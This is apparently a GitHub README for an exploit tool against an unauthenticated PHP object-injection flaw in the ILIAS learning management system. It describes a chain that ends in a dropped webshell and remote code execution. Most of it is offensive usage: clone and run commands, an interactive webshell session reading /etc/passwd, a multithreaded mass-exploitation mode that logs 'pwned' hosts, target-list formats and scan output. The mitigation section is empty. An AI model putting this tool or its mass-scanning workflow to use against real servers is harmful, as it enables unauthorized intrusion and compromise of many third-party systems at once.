CVE-2026-80428

📖 Table of Contents

• 🔍 Overview
• ⚙️ Vulnerability Chain
• 🎯 Affected Versions
• ✨ Features
• 📦 Installation
• 🚀 Usage
  • Single Target Exploit
  • Interactive Shell
  • Mass Exploitation
• 📁 Target List Format
• 🖼️ Screenshots
• 🛡️ Mitigation
• 📢 Channels & Community
• ⚠️ Disclaimer

🔍 Overview

CVE-2026-80428 is a critical unauthenticated PHP Object Injection vulnerability affecting ILIAS Learning Management System. By chaining a session poisoning primitive in ltiauth.php with an unsafe unserialize() call in shib_logout.php, an attacker can achieve arbitrary file write and ultimately Remote Code Execution (RCE) — all without authentication.

⚙️ Vulnerability Chain

flowchart LR
    A[🎯 Attacker] -->|1. Poison Session| B[ltiauth.php]
    B -->|Serialized Guzzle Gadget| C[PHP Session Store]
    C -->|2. Trigger unserialize| D[shib_logout.php]
    D -->|Shibboleth SOAP Request| E[FileCookieJar Gadget]
    E -->|3. file_put_contents| F[💀 Webshell Dropped]
    F -->|4. Execute| G[🔓 RCE]

    style A fill:#ff4444,color:#fff
    style F fill:#ff0000,color:#fff
    style G fill:#8b0000,color:#fff

Step-by-step:

1. ltiauth.php stores a serialized payload inside the PHP session without validation.
2. shib_logout.php processes a crafted Shibboleth LogoutNotification SOAP request and calls unserialize() on the session data.
3. The GuzzleHttp\Cookie\FileCookieJar gadget invokes file_put_contents() to drop a PHP webshell at an attacker-controlled path.

🎯 Affected Versions

✨ Features

📦 Installation

# Clone the repository
git clone https://github.com/HackfutSecRoot/CVE-2026-80428.git
cd CVE-2026-80428

# Install dependencies
pip install requests urllib3

# (Optional) Make executable
chmod +x CVE-2026-80428.py

Requirements:

• Python 3.8+
• requests
• urllib3

🚀 Usage

python3 CVE-2026-80428.py <mode> [options]

📌 Single Target Exploit

python3 CVE-2026-80428.py exploit 10.10.10.20
python3 CVE-2026-80428.py exploit 10.10.10.20 --port 8443 --path /var/www/html
python3 CVE-2026-80428.py exploit target.com --host-header ilias.internal

Options:

💻 Interactive Shell

python3 CVE-2026-80428.py shell 10.10.10.20

ilias$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

ilias$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...

ilias$ exit

🚀 Mass Exploitation

python3 CVE-2026-80428.py mass -l targets.txt -t 32 -o pwned.txt

Options:

📁 Target List Format

Create a targets.txt file:

# Comments start with #
10.10.10.20
10.10.10.21:8443
https://ilias.example.com
http://lms.target.local
192.168.1.50:8080

# Mixed formats are supported
example.org

Supported formats:

• host
• host:port
• http://host
• https://host:port
• host/path (path stripped)

🖼️ Screenshots

  [  42/500] VULN  10.10.10.20:443     https://10.10.10.20:443/util_a1b2c3.php?x=id
  [  43/500] SAFE  10.10.10.21:443     [PATCHED]
  [  44/500] ERR   10.10.10.22:8443    [Connection timed out]

  [44/500] VULN:12  SAFE:30  ERR:2  8%

🛡️ Mitigation

For defenders and system administrators:

📢 Channels & Community

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